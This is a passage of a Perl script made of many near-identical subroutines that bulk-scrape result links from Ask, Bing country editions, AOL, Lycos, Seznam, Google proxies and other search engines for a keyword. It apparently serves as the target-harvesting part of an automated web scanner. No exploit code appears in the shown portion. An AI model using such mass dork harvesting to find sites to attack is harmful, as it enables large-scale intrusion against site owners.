  3715.             my $link = $1;
  3716.             if ($link !~ /askFR\.com/){
  3717.                 my @grep = links($link);
  3718.                 push(@list,@grep);
  3719.             }
  3720.         }
  3721.     }
  3722.     return @list;
  3723. }
  3724.  
  3725. sub askES() {
  3726.     my @list;
  3727.     my $key = $_[0];
  3728.     for (my $i=1; $i<=100; $i+=1) {
  3729.         my $search = ("http://es.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3730.         my $res = &search_engine_query($search);
  3731.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3732.             my $link = $1;
  3733.             if ($link !~ /askES\.com/){
  3734.                 my @grep = links($link);
  3735.                 push(@list,@grep);
  3736.             }
  3737.         }
  3738.     }
  3739.     return @list;
  3740. }
  3741.  
  3742. sub askRU() {
  3743.     my @list;
  3744.     my $key = $_[0];
  3745.     for (my $i=1; $i<=100; $i+=1) {
  3746.         my $search = ("http://ru.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3747.         my $res = &search_engine_query($search);
  3748.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3749.             my $link = $1;
  3750.             if ($link !~ /askRU\.com/){
  3751.                 my @grep = links($link);
  3752.                 push(@list,@grep);
  3753.             }
  3754.         }
  3755.     }
  3756.     return @list;
  3757. }
  3758. sleep(4);
  3759. sub askNL() {
  3760.     my @list;
  3761.     my $key = $_[0];
  3762.     for (my $i=1; $i<=100; $i+=1) {
  3763.         my $search = ("http://nl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3764.         my $res = &search_engine_query($search);
  3765.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3766.             my $link = $1;
  3767.             if ($link !~ /askNL\.com/){
  3768.                 my @grep = links($link);
  3769.                 push(@list,@grep);
  3770.             }
  3771.         }
  3772.     }
  3773.     return @list;
  3774. }
  3775.  
  3776. sub askPL() {
  3777.     my @list;
  3778.     my $key = $_[0];
  3779.     for (my $i=1; $i<=100; $i+=1) {
  3780.         my $search = ("http://pl.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3781.         my $res = &search_engine_query($search);
  3782.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3783.             my $link = $1;
  3784.             if ($link !~ /askPL\.com/){
  3785.                 my @grep = links($link);
  3786.                 push(@list,@grep);
  3787.             }
  3788.         }
  3789.     }
  3790.     return @list;
  3791. }
  3792.  
  3793. sub askAT() {
  3794.     my @list;
  3795.     my $key = $_[0];
  3796.     for (my $i=1; $i<=100; $i+=1) {
  3797.         my $search = ("http://at.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3798.         my $res = &search_engine_query($search);
  3799.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3800.             my $link = $1;
  3801.             if ($link !~ /askAT\.com/){
  3802.                 my @grep = links($link);
  3803.                 push(@list,@grep);
  3804.             }
  3805.         }
  3806.     }
  3807.     return @list;
  3808. }
  3809.  
  3810. sub askSE() {
  3811.     my @list;
  3812.     my $key = $_[0];
  3813.     for (my $i=1; $i<=100; $i+=1) {
  3814.         my $search = ("http://se.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3815.         my $res = &search_engine_query($search);
  3816.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3817.             my $link = $1;
  3818.             if ($link !~ /askSE\.com/){
  3819.                 my @grep = links($link);
  3820.                 push(@list,@grep);
  3821.             }
  3822.         }
  3823.     }
  3824.     return @list;
  3825. }
  3826.  
  3827. sub askDK() {
  3828.     my @list;
  3829.     my $key = $_[0];
  3830.     for (my $i=1; $i<=100; $i+=1) {
  3831.         my $search = ("http://dk.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3832.         my $res = &search_engine_query($search);
  3833.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3834.             my $link = $1;
  3835.             if ($link !~ /askDK\.com/){
  3836.                 my @grep = links($link);
  3837.                 push(@list,@grep);
  3838.             }
  3839.         }
  3840.     }
  3841.     return @list;
  3842. }
  3843.  
  3844. sub askNO() {
  3845.     my @list;
  3846.     my $key = $_[0];
  3847.     for (my $i=1; $i<=100; $i+=1) {
  3848.         my $search = ("http://no.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3849.         my $res = &search_engine_query($search);
  3850.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3851.             my $link = $1;
  3852.             if ($link !~ /askNO\.com/){
  3853.                 my @grep = links($link);
  3854.                 push(@list,@grep);
  3855.             }
  3856.         }
  3857.     }
  3858.     return @list;
  3859. }
  3860. sleep(4);
  3861. sub askAU() {
  3862.     my @list;
  3863.     my $key = $_[0];
  3864.     for (my $i=1; $i<=100; $i+=1) {
  3865.         my $search = ("http://au.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3866.         my $res = &search_engine_query($search);
  3867.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3868.             my $link = $1;
  3869.             if ($link !~ /askAU\.com/){
  3870.                 my @grep = links($link);
  3871.                 push(@list,@grep);
  3872.             }
  3873.         }
  3874.     }
  3875.     return @list;
  3876. }
  3877.  
  3878. sub askBR() {
  3879.     my @list;
  3880.     my $key = $_[0];
  3881.     for (my $i=1; $i<=100; $i+=1) {
  3882.         my $search = ("http://br.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3883.         my $res = &search_engine_query($search);
  3884.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3885.             my $link = $1;
  3886.             if ($link !~ /askBR\.com/){
  3887.                 my @grep = links($link);
  3888.                 push(@list,@grep);
  3889.             }
  3890.         }
  3891.     }
  3892.     return @list;
  3893. }
  3894.  
  3895. sub askMX() {
  3896.     my @list;
  3897.     my $key = $_[0];
  3898.     for (my $i=1; $i<=100; $i+=1) {
  3899.         my $search = ("http://mx.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3900.         my $res = &search_engine_query($search);
  3901.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3902.             my $link = $1;
  3903.             if ($link !~ /askMX\.com/){
  3904.                 my @grep = links($link);
  3905.                 push(@list,@grep);
  3906.             }
  3907.         }
  3908.     }
  3909.     return @list;
  3910. }
  3911. sleep(4);
  3912. sub askJP() {
  3913.     my @list;
  3914.     my $key = $_[0];
  3915.     for (my $i=1; $i<=100; $i+=1) {
  3916.         my $search = ("http://jp.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=0&o=0&l=dir&qid=BC8234276535BC11853E5F40B17E3B01&page=".$i."&jss=1");
  3917.         my $res = &search_engine_query($search);
  3918.         while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) {
  3919.             my $link = $1;
  3920.             if ($link !~ /askJP\.com/){
  3921.                 my @grep = links($link);
  3922.                 push(@list,@grep);
  3923.             }
  3924.         }
  3925.     }
  3926.     return @list;
  3927. }
  3928.  
  3929. sub onet() {
  3930.     my @list;
  3931.     my $key = $_[0];
  3932.     my $b   = 0;
  3933.     for ($b=1; $b<=400; $b+=10) {
  3934.         my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key));
  3935.         my $res = &search_engine_query($search);
  3936.         while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
  3937.             my $link = $1;
  3938.             if ($link !~ /onet|webcache|query/){
  3939.                 my @grep = &links($link);
  3940.                 push(@list,@grep);
  3941.             }
  3942.         }
  3943.     }
  3944.     return @list;
  3945. }
  3946.  
  3947. sub clusty() {
  3948.     my @list;
  3949.     my $key = $_[0];
  3950.     my $b   = 0;
  3951.     for ($b=10; $b<=200; $b+=10) {
  3952.         my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&");
  3953.         my $res = &search_engine_query($search);
  3954.         if ($res !~ /next/) {$b=100;}
  3955.         while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  3956.             my $link = $1;
  3957.             if ($1 !~ /yippy\.com/){
  3958.                 my @grep = &links($link);
  3959.                 push(@list,@grep);
  3960.             }
  3961.         }
  3962.     }
  3963.     return @list;
  3964. }
  3965.  
  3966. sub bing() {
  3967.     my @list;
  3968.     my $key = $_[0];
  3969.     for (my $i=1; $i<=400; $i+=10) {
  3970.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
  3971.         my $res = &search_engine_query($search);
  3972.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3973.             my $link = $1;
  3974.             if ($link !~ /google/) {
  3975.                 my @grep = &links($link);
  3976.                 push(@list,@grep);
  3977.             }
  3978.         }
  3979.     }
  3980.     return @list;
  3981. }
  3982.  
  3983. sub bingDE() {
  3984.     my @list;
  3985.     my $key = $_[0];
  3986.     for (my $i=1; $i<=1000; $i+=10) {
  3987.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=de&rf=1&first=".$i."&FORM=PORE");
  3988.         my $res = &search_engine_query($search);
  3989.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  3990.             my $link = $1;
  3991.             if ($link !~ /msn|live|bingDE/) {
  3992.                 my @grep = links($link);
  3993.                 push(@list,@grep);
  3994.             }
  3995.         }
  3996.     }
  3997.     return @list;
  3998. }
  3999. sleep(4);
  4000. sub bingUK() {
  4001.     my @list;
  4002.     my $key = $_[0];
  4003.     for (my $i=1; $i<=1000; $i+=10) {
  4004.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=uk&rf=1&first=".$i."&FORM=PORE");
  4005.         my $res = &search_engine_query($search);
  4006.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4007.             my $link = $1;
  4008.             if ($link !~ /msn|live|bingUK/) {
  4009.                 my @grep = links($link);
  4010.                 push(@list,@grep);
  4011.             }
  4012.         }
  4013.     }
  4014.     return @list;
  4015. }
  4016.  
  4017. sub bingCA() {
  4018.     my @list;
  4019.     my $key = $_[0];
  4020.     for (my $i=1; $i<=1000; $i+=10) {
  4021.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ca&rf=1&first=".$i."&FORM=PORE");
  4022.         my $res = &search_engine_query($search);
  4023.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4024.             my $link = $1;
  4025.             if ($link !~ /msn|live|bingCA/) {
  4026.                 my @grep = links($link);
  4027.                 push(@list,@grep);
  4028.             }
  4029.         }
  4030.     }
  4031.     return @list;
  4032. }
  4033.  
  4034. sub bingBR() {
  4035.     my @list;
  4036.     my $key = $_[0];
  4037.     for (my $i=1; $i<=1000; $i+=10) {
  4038.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=br&rf=1&first=".$i."&FORM=PORE");
  4039.         my $res = &search_engine_query($search);
  4040.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4041.             my $link = $1;
  4042.             if ($link !~ /msn|live|bingBR/) {
  4043.                 my @grep = links($link);
  4044.                 push(@list,@grep);
  4045.             }
  4046.         }
  4047.     }
  4048.     return @list;
  4049. }
  4050.  
  4051. sub bingFR() {
  4052.     my @list;
  4053.     my $key = $_[0];
  4054.     for (my $i=1; $i<=1000; $i+=10) {
  4055.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=fr&rf=1&first=".$i."&FORM=PORE");
  4056.         my $res = &search_engine_query($search);
  4057.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4058.             my $link = $1;
  4059.             if ($link !~ /msn|live|bingFR/) {
  4060.                 my @grep = links($link);
  4061.                 push(@list,@grep);
  4062.             }
  4063.         }
  4064.     }
  4065.     return @list;
  4066. }
  4067.  
  4068. sub bingES() {
  4069.     my @list;
  4070.     my $key = $_[0];
  4071.     for (my $i=1; $i<=1000; $i+=10) {
  4072.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=es&rf=1&first=".$i."&FORM=PORE");
  4073.         my $res = &search_engine_query($search);
  4074.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4075.             my $link = $1;
  4076.             if ($link !~ /msn|live|bingES/) {
  4077.                 my @grep = links($link);
  4078.                 push(@list,@grep);
  4079.             }
  4080.         }
  4081.     }
  4082.     return @list;
  4083. }
  4084.  
  4085. sub bingIT() {
  4086.     my @list;
  4087.     my $key = $_[0];
  4088.     for (my $i=1; $i<=1000; $i+=10) {
  4089.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=it&rf=1&first=".$i."&FORM=PORE");
  4090.         my $res = &search_engine_query($search);
  4091.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4092.             my $link = $1;
  4093.             if ($link !~ /msn|live|bingIT/) {
  4094.                 my @grep = links($link);
  4095.                 push(@list,@grep);
  4096.             }
  4097.         }
  4098.     }
  4099.     return @list;
  4100. }
  4101. sleep(4);
  4102. sub bingBE() {
  4103.     my @list;
  4104.     my $key = $_[0];
  4105.     for (my $i=1; $i<=1000; $i+=10) {
  4106.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=be&rf=1&first=".$i."&FORM=PORE");
  4107.         my $res = &search_engine_query($search);
  4108.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4109.             my $link = $1;
  4110.             if ($link !~ /msn|live|bingBE/) {
  4111.                 my @grep = links($link);
  4112.                 push(@list,@grep);
  4113.             }
  4114.         }
  4115.     }
  4116.     return @list;
  4117. }
  4118.  
  4119. sub bingNL() {
  4120.     my @list;
  4121.     my $key = $_[0];
  4122.     for (my $i=1; $i<=1000; $i+=10) {
  4123.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nl&rf=1&first=".$i."&FORM=PORE");
  4124.         my $res = &search_engine_query($search);
  4125.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4126.             my $link = $1;
  4127.             if ($link !~ /msn|live|bingNL/) {
  4128.                 my @grep = links($link);
  4129.                 push(@list,@grep);
  4130.             }
  4131.         }
  4132.     }
  4133.     return @list;
  4134. }
  4135.  
  4136. sub bingPT() {
  4137.     my @list;
  4138.     my $key = $_[0];
  4139.     for (my $i=1; $i<=1000; $i+=10) {
  4140.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=pt&rf=1&first=".$i."&FORM=PORE");
  4141.         my $res = &search_engine_query($search);
  4142.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4143.             my $link = $1;
  4144.             if ($link !~ /msn|live|bingPT/) {
  4145.                 my @grep = links($link);
  4146.                 push(@list,@grep);
  4147.             }
  4148.         }
  4149.     }
  4150.     return @list;
  4151. }
  4152.  
  4153. sub bingNO() {
  4154.     my @list;
  4155.     my $key = $_[0];
  4156.     for (my $i=1; $i<=1000; $i+=10) {
  4157.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=no&rf=1&first=".$i."&FORM=PORE");
  4158.         my $res = &search_engine_query($search);
  4159.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4160.             my $link = $1;
  4161.             if ($link !~ /msn|live|bingNO/) {
  4162.                 my @grep = links($link);
  4163.                 push(@list,@grep);
  4164.             }
  4165.         }
  4166.     }
  4167.     return @list;
  4168. }
  4169.  
  4170. sub bingDK() {
  4171.     my @list;
  4172.     my $key = $_[0];
  4173.     for (my $i=1; $i<=1000; $i+=10) {
  4174.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=dk&rf=1&first=".$i."&FORM=PORE");
  4175.         my $res = &search_engine_query($search);
  4176.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4177.             my $link = $1;
  4178.             if ($link !~ /msn|live|bingDK/) {
  4179.                 my @grep = links($link);
  4180.                 push(@list,@grep);
  4181.             }
  4182.         }
  4183.     }
  4184.     return @list;
  4185. }
  4186.  
  4187. sub bingSE() {
  4188.     my @list;
  4189.     my $key = $_[0];
  4190.     for (my $i=1; $i<=1000; $i+=10) {
  4191.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=se&rf=1&first=".$i."&FORM=PORE");
  4192.         my $res = &search_engine_query($search);
  4193.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4194.             my $link = $1;
  4195.             if ($link !~ /msn|live|bingSE/) {
  4196.                 my @grep = links($link);
  4197.                 push(@list,@grep);
  4198.             }
  4199.         }
  4200.     }
  4201.     return @list;
  4202. }
  4203. sleep(4);
  4204. sub bingCH() {
  4205.     my @list;
  4206.     my $key = $_[0];
  4207.     for (my $i=1; $i<=1000; $i+=10) {
  4208.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ch&rf=1&first=".$i."&FORM=PORE");
  4209.         my $res = &search_engine_query($search);
  4210.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4211.             my $link = $1;
  4212.             if ($link !~ /msn|live|bingCH/) {
  4213.                 my @grep = links($link);
  4214.                 push(@list,@grep);
  4215.             }
  4216.         }
  4217.     }
  4218.     return @list;
  4219. }
  4220.  
  4221. sub bingNZ() {
  4222.     my @list;
  4223.     my $key = $_[0];
  4224.     for (my $i=1; $i<=1000; $i+=10) {
  4225.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=nz&rf=1&first=".$i."&FORM=PORE");
  4226.         my $res = &search_engine_query($search);
  4227.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4228.             my $link = $1;
  4229.             if ($link !~ /msn|live|bingNZ/) {
  4230.                 my @grep = links($link);
  4231.                 push(@list,@grep);
  4232.             }
  4233.         }
  4234.     }
  4235.     return @list;
  4236. }
  4237.  
  4238. sub bingRU() {
  4239.     my @list;
  4240.     my $key = $_[0];
  4241.     for (my $i=1; $i<=1000; $i+=10) {
  4242.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ru&rf=1&first=".$i."&FORM=PORE");
  4243.         my $res = &search_engine_query($search);
  4244.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4245.             my $link = $1;
  4246.             if ($link !~ /msn|live|bingRU/) {
  4247.                 my @grep = links($link);
  4248.                 push(@list,@grep);
  4249.             }
  4250.         }
  4251.     }
  4252.     return @list;
  4253. }
  4254.  
  4255. sub bingJP() {
  4256.     my @list;
  4257.     my $key = $_[0];
  4258.     for (my $i=1; $i<=1000; $i+=10) {
  4259.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=jp&rf=1&first=".$i."&FORM=PORE");
  4260.         my $res = &search_engine_query($search);
  4261.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4262.             my $link = $1;
  4263.             if ($link !~ /msn|live|bingJP/) {
  4264.                 my @grep = links($link);
  4265.                 push(@list,@grep);
  4266.             }
  4267.         }
  4268.     }
  4269.     return @list;
  4270. }
  4271.  
  4272. sub bingCN() {
  4273.     my @list;
  4274.     my $key = $_[0];
  4275.     for (my $i=1; $i<=1000; $i+=10) {
  4276.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cn&rf=1&first=".$i."&FORM=PORE");
  4277.         my $res = &search_engine_query($search);
  4278.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4279.             my $link = $1;
  4280.             if ($link !~ /msn|live|bingCN/) {
  4281.                 my @grep = links($link);
  4282.                 push(@list,@grep);
  4283.             }
  4284.         }
  4285.     }
  4286.     return @list;
  4287. }
  4288.  
  4289. sub bingKR() {
  4290.     my @list;
  4291.     my $key = $_[0];
  4292.     for (my $i=1; $i<=1000; $i+=10) {
  4293.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=kr&rf=1&first=".$i."&FORM=PORE");
  4294.         my $res = &search_engine_query($search);
  4295.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4296.             my $link = $1;
  4297.             if ($link !~ /msn|live|bingKR/) {
  4298.                 my @grep = links($link);
  4299.                 push(@list,@grep);
  4300.             }
  4301.         }
  4302.     }
  4303.     return @list;
  4304. }
  4305. sleep(4);
  4306. sub bingMX() {
  4307.     my @list;
  4308.     my $key = $_[0];
  4309.     for (my $i=1; $i<=1000; $i+=10) {
  4310.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=mx&rf=1&first=".$i."&FORM=PORE");
  4311.         my $res = &search_engine_query($search);
  4312.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4313.             my $link = $1;
  4314.             if ($link !~ /msn|live|bingMX/) {
  4315.                 my @grep = links($link);
  4316.                 push(@list,@grep);
  4317.             }
  4318.         }
  4319.     }
  4320.     return @list;
  4321. }
  4322.  
  4323. sub bingAR() {
  4324.     my @list;
  4325.     my $key = $_[0];
  4326.     for (my $i=1; $i<=1000; $i+=10) {
  4327.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=ar&rf=1&first=".$i."&FORM=PORE");
  4328.         my $res = &search_engine_query($search);
  4329.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4330.             my $link = $1;
  4331.             if ($link !~ /msn|live|bingAR/) {
  4332.                 my @grep = links($link);
  4333.                 push(@list,@grep);
  4334.             }
  4335.         }
  4336.     }
  4337.     return @list;
  4338. }
  4339.  
  4340. sub bingCL() {
  4341.     my @list;
  4342.     my $key = $_[0];
  4343.     for (my $i=1; $i<=1000; $i+=10) {
  4344.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=cl&rf=1&first=".$i."&FORM=PORE");
  4345.         my $res = &search_engine_query($search);
  4346.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4347.             my $link = $1;
  4348.             if ($link !~ /msn|live|bingCL/) {
  4349.                 my @grep = links($link);
  4350.                 push(@list,@grep);
  4351.             }
  4352.         }
  4353.     }
  4354.     return @list;
  4355. }
  4356.  
  4357. sub bingAU() {
  4358.     my @list;
  4359.     my $key = $_[0];
  4360.     for (my $i=1; $i<=1000; $i+=10) {
  4361.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&cc=au&rf=1&first=".$i."&FORM=PORE");
  4362.         my $res = &search_engine_query($search);
  4363.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  4364.             my $link = $1;
  4365.             if ($link !~ /msn|live|bingAU/) {
  4366.                 my @grep = links($link);
  4367.                 push(@list,@grep);
  4368.             }
  4369.         }
  4370.     }
  4371.     return @list;
  4372. }
  4373.  
  4374. sub sapo(){
  4375.     my @list;
  4376.     my $key = $_[0];
  4377.     for ($b=1; $b<=50; $b+=1) {
  4378.         my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local");
  4379.         my $res = &search_engine_query($search);
  4380.         if ($res !~ m/Next/i) {$b=50;}
  4381.         while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  4382.             my $link = $1;
  4383.             if ($1 !~ /\.sapo\.pt/){
  4384.                 my @grep = &links($link);
  4385.                 push(@list,@grep);
  4386.             }
  4387.         }
  4388.     }
  4389.     return @list;
  4390. }
  4391.  
  4392. sub lycos() {
  4393.   my @list;
  4394.   my $key = $_[0];
  4395.     for ($b=0; $b<=50; $b+=1) {
  4396.         my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b);
  4397.         my $res = &search_engine_query($search);
  4398.         while ($res =~ m/title=\"http:\/\/(.*?)\"/g) {
  4399.             my $link = $1;
  4400.             if ($link !~ /lycos/){
  4401.                 my @grep = &links($link);
  4402.                 push(@list,@grep);
  4403.             }
  4404.         }
  4405.     }
  4406.     return @list;  
  4407. }
  4408.  
  4409. sub uol() {
  4410.     my @list;
  4411.     my $key = $_[0];
  4412.     for ($b=0; $b<=1000; $b+=10) {
  4413.         my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b);
  4414.         my $res = &search_engine_query($search);
  4415.         if ($res =~ m/retornou nenhum resultado/i) {$b=500;}
  4416.         while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  4417.             my $link = $1;
  4418.             if ($link !~ /uol\.com\.br|\/web/i){
  4419.                 my @grep = &links($link);
  4420.                 push(@list,@grep);
  4421.             }
  4422.         }
  4423.     }
  4424.     return @list;
  4425. }
  4426.  
  4427. sub seznam() {
  4428.     my @list;
  4429.     my $key = $_[0];
  4430.     for ($b=1; $b<=300; $b+=20) {
  4431.         my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b);
  4432.         my $res = &search_engine_query($search);
  4433.         while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) {
  4434.             my $link = $1;
  4435.             if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){
  4436.                 my @grep = &links($link);
  4437.                 push(@list,@grep);
  4438.             }
  4439.         }
  4440.     }
  4441.     return @list;
  4442. }
  4443.  
  4444. sub hotbot() {
  4445.   my @list;
  4446.   my $key = $_[0];
  4447.     for ($b=0; $b<=50; $b+=1) {
  4448.         my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key));
  4449.         my $res = &search_engine_query($search);
  4450.         if ($res =~ m/had no web result/i) {$b=50;}
  4451.         while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) {
  4452.             my $link = $1;
  4453.             if ($link !~ /hotbot\.com/){
  4454.                 my @grep = &links($link);
  4455.                 push(@list,@grep);
  4456.             }
  4457.         }
  4458.     }
  4459.     return @list;  
  4460. }
  4461.  
  4462. sub aol() {
  4463.     my @list;
  4464.     my $key = $_[0];
  4465.     for ($b=0; $b<=300; $b+=10) {
  4466.         my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b);
  4467.         my $res = &search_engine_query($search);
  4468.         while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  4469.             my $link = $1;
  4470.             if ($link !~ /aol\.com/){
  4471.                 my @grep = &links($link);
  4472.                 push(@list,@grep);
  4473.             }
  4474.         }
  4475.     }
  4476.     return @list;
  4477. }
  4478.  
  4479. sub biglobe {
  4480.   my $key = $_[0];
  4481.   my @list;
  4482.   for ($b=1; $b<=500; $b+=10) {
  4483.     $num += $num;
  4484.     my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=".$num."&q=".uri_escape($key)."&lr=all";
  4485.     my $res = &search_engine_query($search);
  4486.     while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
  4487.         my $link = $1;
  4488.         if ($link !~ /biglobe/){
  4489.                 my @grep = &links($link);
  4490.                 push(@list,@grep);
  4491.             }
  4492.         }
  4493.     }
  4494.     return @list;
  4495. }
  4496.  
  4497. sub ae() {
  4498.     my @list;
  4499.     my $key = $_[0];
  4500.     for (my $i=0; $i<=1000; $i+=100){
  4501.         my $search = ($jack1.uri_escape($key)."%2Bsite%3Aae%26num%3D100%26start%3D".$i);
  4502.         my $res = &search_engine_query($search);
  4503.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4504.             my $link = $1;
  4505.             if ($link !~ /google/){
  4506.                 my @grep = &links($link);
  4507.                 push(@list,@grep);
  4508.             }
  4509.         }
  4510.     }
  4511.     return @list;
  4512. }
  4513.  
  4514. sub ar() {
  4515.     my @list;
  4516.     my $key = $_[0];
  4517.     for (my $i=0; $i<=1000; $i+=100){
  4518.         my $search = ($jack2.uri_escape($key)."%2Bsite%3Aar%26num%3D100%26start%3D".$i);
  4519.         my $res = &search_engine_query($search);
  4520.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4521.             my $link = $1;
  4522.             if ($link !~ /google/){
  4523.                 my @grep = &links($link);
  4524.                 push(@list,@grep);
  4525.             }
  4526.         }
  4527.     }
  4528.     return @list;
  4529. }
  4530.  
  4531. sub at() {
  4532.     my @list;
  4533.     my $key = $_[0];
  4534.     for (my $i=0; $i<=1000; $i+=100){
  4535.         my $search = ($jack3.uri_escape($key)."%2Bsite%3Aat%26num%3D100%26start%3D".$i);
  4536.         my $res = &search_engine_query($search);
  4537.         while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) {
  4538.             my $link = $1;
  4539.             if ($link !~ /google/){
  4540.                 my @grep = &links($link);
